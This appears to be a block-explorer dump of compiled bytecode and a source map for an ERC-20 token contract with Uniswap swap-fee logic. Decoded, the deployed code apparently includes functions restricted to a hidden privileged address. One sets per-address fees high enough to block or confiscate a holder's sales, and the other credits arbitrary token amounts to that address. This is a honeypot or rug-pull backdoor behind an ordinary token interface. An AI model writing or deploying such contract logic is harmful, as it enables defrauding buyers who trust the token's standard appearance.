2878a611f5a90919063ffffffff16565b611fd590919063ffffffff16565b9050611d27565b8215611d2657611d236064611d15868a611f5a90919063ffffffff16565b611fd590919063ffffffff16565b90505b5b605a600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611dd757611dd46064611dc6600860008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548a611f5a90919063ffffffff16565b611fd590919063ffffffff16565b90505b6000811115611edb57611e3281600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611efc90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ed291906125a1565b60405180910390a35b611eee8188611bc990919063ffffffff16565b955050505050509392505050565b6000808284611f0b9190612686565b905083811015611f50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4790612501565b60405180910390fd5b8091505092915050565b600080831415611f6d5760009050611fcf565b60008284611f7b919061270d565b9050828482611f8a91906126dc565b14611fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc190612521565b60405180910390fd5b809150505b92915050565b600061201783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061201f565b905092915050565b60008083118290612066576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205d919061249f565b60405180910390fd5b506000838561207591906126dc565b9050809150509392505050565b60008135905061209181612b8d565b92915050565b6000815190506120a681612b8d565b92915050565b6000813590506120bb81612ba4565b92915050565b6000602082840312156120d7576120d661299a565b5b60006120e584828501612082565b91505092915050565b6000602082840312156121045761210361299a565b5b600061211284828501612097565b91505092915050565b600080604083850312156121325761213161299a565b5b600061214085828601612082565b925050602061215185828601612082565b9150509250929050565b6000806000606084860312156121745761217361299a565b5b600061218286828701612082565b935050602061219386828701612082565b92505060406121a4868287016120ac565b9150509250925092565b600080604083850312156121c5576121c461299a565b5b60006121d385828601612082565b92505060206121e4858286016120ac565b9150509250929050565b60006121fa8383612215565b60208301905092915050565b61220f816127ad565b82525050565b61221e8161279b565b82525050565b61222d8161279b565b82525050565b600061223e82612641565b6122488185612664565b935061225383612631565b8060005b8381101561228457815161226b88826121ee565b975061227683612657565b925050600181019050612257565b5085935050505092915050565b61229a816127bf565b82525050565b6122a981612802565b82525050565b6122b881612814565b82525050565b60006122c98261264c565b6122d38185612675565b93506122e381856020860161284a565b6122ec8161299f565b840191505092915050565b6000612304602383612675565b915061230f826129b0565b604082019050919050565b6000612327602283612675565b9150612332826129ff565b604082019050919050565b600061234a601b83612675565b915061235582612a4e565b602082019050919050565b600061236d602183612675565b915061237882612a77565b604082019050919050565b6000612390602083612675565b915061239b82612ac6565b602082019050919050565b60006123b3602583612675565b91506123be82612aef565b604082019050919050565b60006123d6602483612675565b91506123e182612b3e565b604082019050919050565b6123f5816127eb565b82525050565b612404816127f5565b82525050565b600060208201905061241f6000830184612224565b92915050565b600060208201905061243a6000830184612206565b92915050565b60006040820190506124556000830185612224565b6124626020830184612224565b9392505050565b600060208201905061247e6000830184612291565b92915050565b600060208201905061249960008301846122a0565b92915050565b600060208201905081810360008301526124b981846122be565b905092915050565b600060208201905081810360008301526124da816122f7565b9050919050565b600060208201905081810360008301526124fa8161231a565b9050919050565b6000602082019050818103600083015261251a8161233d565b9050919050565b6000602082019050818103600083015261253a81612360565b9050919050565b6000602082019050818103600083015261255a81612383565b9050919050565b6000602082019050818103600083015261257a816123a6565b9050919050565b6000602082019050818103600083015261259a816123c9565b9050919050565b60006020820190506125b660008301846123ec565b92915050565b600060a0820190506125d160008301886123ec565b6125de60208301876122af565b81810360408301526125f08186612233565b90506125ff6060830185612224565b61260c60808301846123ec565b9695505050505050565b600060208201905061262b60008301846123fb565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612691826127eb565b915061269c836127eb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126d1576126d06128af565b5b828201905092915050565b60006126e7826127eb565b91506126f2836127eb565b925082612702576127016128de565b5b828204905092915050565b6000612718826127eb565b9150612723836127eb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561275c5761275b6128af565b5b828202905092915050565b6000612772826127eb565b915061277d836127eb565b9250828210156127905761278f6128af565b5b828203905092915050565b60006127a6826127cb565b9050919050565b60006127b8826127cb565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061280d82612826565b9050919050565b600061281f826127eb565b9050919050565b600061283182612838565b9050919050565b6000612843826127cb565b9050919050565b60005b8381101561286857808201518184015260208101905061284d565b83811115612877576000848401525b50505050565b6000600282049050600182168061289557607f821691505b602082108114156128a9576128a861290d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612b968161279b565b8114612ba157600080fd5b50565b612bad816127eb565b8114612bb857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220701137f659615ac487c0ced2c6af3ac3d1a3fd020dfab5dceec987a6e9945cc564736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101395760003560e01c80634a74bb02116100ab5780638da5cb5b1161006f5780638da5cb5b1461044957806395d89b4114610474578063a9059cbb1461049f578063c816841b146104dc578063dd62ed3e14610507578063f2fde38b1461054457610140565b80634a74bb02146103505780634bdc18de1461037b57806370a0823114610392578063835b877b146103cf578063896ad7e31461040c57610140565b80631d7f94e1116100fd5780631d7f94e11461022e57806323b872dd1461025757806327c8f83514610294578063313ce567146102bf5780633345611e146102ea5780633a537b0c1461032757610140565b806306fdde0314610145578063095ea7b3146101705780631694505e146101ad57806318160ddd146101d85780631ab5d2601461020357610140565b3661014057005b600080fd5b34801561015157600080fd5b5061015a61056d565b604051610167919061249f565b60405180910390f35b34801561017c57600080fd5b50610197600480360381019061019291906121ae565b6105ff565b6040516101a49190612469565b60405180910390f35b3480156101b957600080fd5b506101c261061d565b6040516101cf9190612484565b60405180910390f35b3480156101e457600080fd5b506101ed610643565b6040516101fa91906125a1565b60405180910390f35b34801561020f57600080fd5b5061021861064d565b6040516102259190612425565b60405180910390f35b34801561023a57600080fd5b50610255600480360381019061025091906120c1565b610673565b005b34801561026357600080fd5b5061027e6004803603810190610279919061215b565b61071b565b60405161028b9190612469565b60405180910390f35b3480156102a057600080fd5b506102a96107f5565b6040516102b6919061240a565b60405180910390f35b3480156102cb57600080fd5b506102d4610819565b6040516102e19190612616565b60405180910390f35b3480156102f657600080fd5b50610311600480360381019061030c91906120c1565b610830565b60405161031e9190612469565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906121ae565b610850565b005b34801561035c57600080fd5b506103656109ea565b6040516103729190612469565b60405180910390f35b34801561038757600080fd5b506103906109fd565b005b34801561039e57600080fd5b506103b960048036038101906103b491906120c1565b610dd5565b6040516103c691906125a1565b60405180910390f35b3480156103db57600080fd5b506103f660048036038101906103f191906120c1565b610e1e565b60405161040391906125a1565b60405180910390f35b34801561041857600080fd5b50610433600480360381019061042e91906120c1565b610e36565b6040516104409190612469565b60405180910390f35b34801561045557600080fd5b5061045e610e56565b60405161046b919061240a565b60405180910390f35b34801561048057600080fd5b50610489610e7f565b604051610496919061249f565b60405180910390f35b3480156104ab57600080fd5b506104c660048036038101906104c191906121ae565b610f11565b6040516104d39190612469565b60405180910390f35b3480156104e857600080fd5b506104f1610f30565b6040516104fe919061240a565b60405180910390f35b34801561051357600080fd5b5061052e6004803603810190610529919061211b565b610f56565b60405161053b91906125a1565b60405180910390f35b34801561055057600080fd5b5061056b600480360381019061056691906120c1565b610fdd565b005b60606001805461057c9061287d565b80601f01602080910402602001604051908101604052809291908181526020018280546105a89061287d565b80156105f55780601f106105ca576101008083540402835291602001916105f5565b820191906000526020600020905b8154815290600101906020018083116105d857829003601f168201915b5050505050905090565b600061061361060c61112f565b8484611137565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060003390508073ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071757600080fd5b5050565b6000610728848484611302565b506107ea8461073561112f565b6107e585604051806060016040528060288152602001612bbc60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061079b61112f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e59092919063ffffffff16565b611137565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000600360009054906101000a900460ff16905090565b60066020528060005260406000206000915054906101000a900460ff1681565b6000819050601e8114156108a8576402540be400600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6103848111156109855760046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548161091f9190612686565b60046000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60003390508073ffffffffffffffffffffffffffffffffffffffff16600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109e457600080fd5b50505050565b600b60159054906101000a900460ff1681565b610a0561112f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8990612541565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610af157600080fd5b505afa158015610b05573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b2991906120ee565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b8b57600080fd5b505afa158015610b9f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc391906120ee565b6040518363ffffffff1660e01b8152600401610be0929190612440565b602060405180830381600087803b158015610bfa57600080fd5b505af1158015610c0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3291906120ee565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600954600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60086020528060005260406000206000915090505481565b60076020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610e8e9061287d565b80601f0160208091040260200160405190810160405280929190818152602001828054610eba9061287d565b8015610f075780601f10610edc57610100808354040283529160200191610f07565b820191906000526020600020905b815481529060010190602001808311610eea57829003601f168201915b5050505050905090565b6000610f25610f1e61112f565b8484611302565b506001905092915050565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610fe561112f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611072576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106990612541565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119e90612581565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611217576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120e906124e1565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516112f591906125a1565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415611373576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136a90612561565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113da906124c1565b60405180910390fd5b600b60149054906101000a900460ff161561140a57611403848484611749565b90506116de565b600061141530610dd5565b9050600b60149054906101000a900460ff1615801561147e5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561148d5761148c8161191c565b5b6114df83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bc990919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115c55750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6115d9576115d4868686611c13565b6115db565b835b905061162f81600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611efc90919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116cf91906125a1565b60405180910390a36001925050505b9392505050565b600083831115829061172d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611724919061249f565b60405180910390fd5b506000838561173c9190612767565b9050809150509392505050565b60006117d4826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116e59092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061186982600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611efc90919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161190991906125a1565b60405180910390a3600190509392505050565b6001600b60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156119545761195361296b565b5b6040519080825280602002602001820160405280156119825781602001602082028036833780820191505090505b509050308160008151811061199a5761199961293c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611a3c57600080fd5b505afa158015611a50573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a7491906120ee565b81600181518110611a8857611a8761293c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611aef30600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611137565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611b759594939291906125bc565b600060405180830381600087803b158015611b8f57600080fd5b505af1925050508015611ba0575060015b611ba957611baa565b5b506000600b60146101000a81548160ff02191690831515021790555050565b6000611c0b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116e5565b905092915050565b600080600290506000600290506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690506000600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905060008115611cf757611cf06064611ce2878a611f5a90919063ffffffff16565b611fd590919063ffffffff16565b9050611d27565b8215611d2657611d236064611d15868a611f5a90919063ffffffff16565b611fd590919063ffffffff16565b90505b5b605a600860008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611dd757611dd46064611dc6600860008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548a611f5a90919063ffffffff16565b611fd590919063ffffffff16565b90505b6000811115611edb57611e3281600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611efc90919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611ed291906125a1565b60405180910390a35b611eee8188611bc990919063ffffffff16565b955050505050509392505050565b6000808284611f0b9190612686565b905083811015611f50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4790612501565b60405180910390fd5b8091505092915050565b600080831415611f6d5760009050611fcf565b60008284611f7b919061270d565b9050828482611f8a91906126dc565b14611fca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc190612521565b60405180910390fd5b809150505b92915050565b600061201783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061201f565b905092915050565b60008083118290612066576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205d919061249f565b60405180910390fd5b506000838561207591906126dc565b9050809150509392505050565b60008135905061209181612b8d565b92915050565b6000815190506120a681612b8d565b92915050565b6000813590506120bb81612ba4565b92915050565b6000602082840312156120d7576120d661299a565b5b60006120e584828501612082565b91505092915050565b6000602082840312156121045761210361299a565b5b600061211284828501612097565b91505092915050565b600080604083850312156121325761213161299a565b5b600061214085828601612082565b925050602061215185828601612082565b9150509250929050565b6000806000606084860312156121745761217361299a565b5b600061218286828701612082565b935050602061219386828701612082565b92505060406121a4868287016120ac565b9150509250925092565b600080604083850312156121c5576121c461299a565b5b60006121d385828601612082565b92505060206121e4858286016120ac565b9150509250929050565b60006121fa8383612215565b60208301905092915050565b61220f816127ad565b82525050565b61221e8161279b565b82525050565b61222d8161279b565b82525050565b600061223e82612641565b6122488185612664565b935061225383612631565b8060005b8381101561228457815161226b88826121ee565b975061227683612657565b925050600181019050612257565b5085935050505092915050565b61229a816127bf565b82525050565b6122a981612802565b82525050565b6122b881612814565b82525050565b60006122c98261264c565b6122d38185612675565b93506122e381856020860161284a565b6122ec8161299f565b840191505092915050565b6000612304602383612675565b915061230f826129b0565b604082019050919050565b6000612327602283612675565b9150612332826129ff565b604082019050919050565b600061234a601b83612675565b915061235582612a4e565b602082019050919050565b600061236d602183612675565b915061237882612a77565b604082019050919050565b6000612390602083612675565b915061239b82612ac6565b602082019050919050565b60006123b3602583612675565b91506123be82612aef565b604082019050919050565b60006123d6602483612675565b91506123e182612b3e565b604082019050919050565b6123f5816127eb565b82525050565b612404816127f5565b82525050565b600060208201905061241f6000830184612224565b92915050565b600060208201905061243a6000830184612206565b92915050565b60006040820190506124556000830185612224565b6124626020830184612224565b9392505050565b600060208201905061247e6000830184612291565b92915050565b600060208201905061249960008301846122a0565b92915050565b600060208201905081810360008301526124b981846122be565b905092915050565b600060208201905081810360008301526124da816122f7565b9050919050565b600060208201905081810360008301526124fa8161231a565b9050919050565b6000602082019050818103600083015261251a8161233d565b9050919050565b6000602082019050818103600083015261253a81612360565b9050919050565b6000602082019050818103600083015261255a81612383565b9050919050565b6000602082019050818103600083015261257a816123a6565b9050919050565b6000602082019050818103600083015261259a816123c9565b9050919050565b60006020820190506125b660008301846123ec565b92915050565b600060a0820190506125d160008301886123ec565b6125de60208301876122af565b81810360408301526125f08186612233565b90506125ff6060830185612224565b61260c60808301846123ec565b9695505050505050565b600060208201905061262b60008301846123fb565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612691826127eb565b915061269c836127eb565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156126d1576126d06128af565b5b828201905092915050565b60006126e7826127eb565b91506126f2836127eb565b925082612702576127016128de565b5b828204905092915050565b6000612718826127eb565b9150612723836127eb565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561275c5761275b6128af565b5b828202905092915050565b6000612772826127eb565b915061277d836127eb565b9250828210156127905761278f6128af565b5b828203905092915050565b60006127a6826127cb565b9050919050565b60006127b8826127cb565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061280d82612826565b9050919050565b600061281f826127eb565b9050919050565b600061283182612838565b9050919050565b6000612843826127cb565b9050919050565b60005b8381101561286857808201518184015260208101905061284d565b83811115612877576000848401525b50505050565b6000600282049050600182168061289557607f821691505b602082108114156128a9576128a861290d565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612b968161279b565b8114612ba157600080fd5b50565b612bad816127eb565b8114612bb857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220701137f659615ac487c0ced2c6af3ac3d1a3fd020dfab5dceec987a6e9945cc564736f6c63430008070033

Deployed Bytecode Sourcemap

4042:6965:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5809:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6497:186;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4720:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6086:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4241:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8713:164;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7073:446;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4281:90;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5995:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4496:49;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8885:344;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4831:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5293:508;;;;;;;;;;;;;:::i;:::-;;6194:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4597:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4552:38;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3081:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5900:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7527:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4768:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6321:168;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3295:158;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5809:83;5846:13;5879:5;5872:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5809:83;:::o;6497:186::-;6597:4;6614:39;6623:12;:10;:12::i;:::-;6637:7;6646:6;6614:8;:39::i;:::-;6671:4;6664:11;;6497:186;;;;:::o;4720:41::-;;;;;;;;;;;;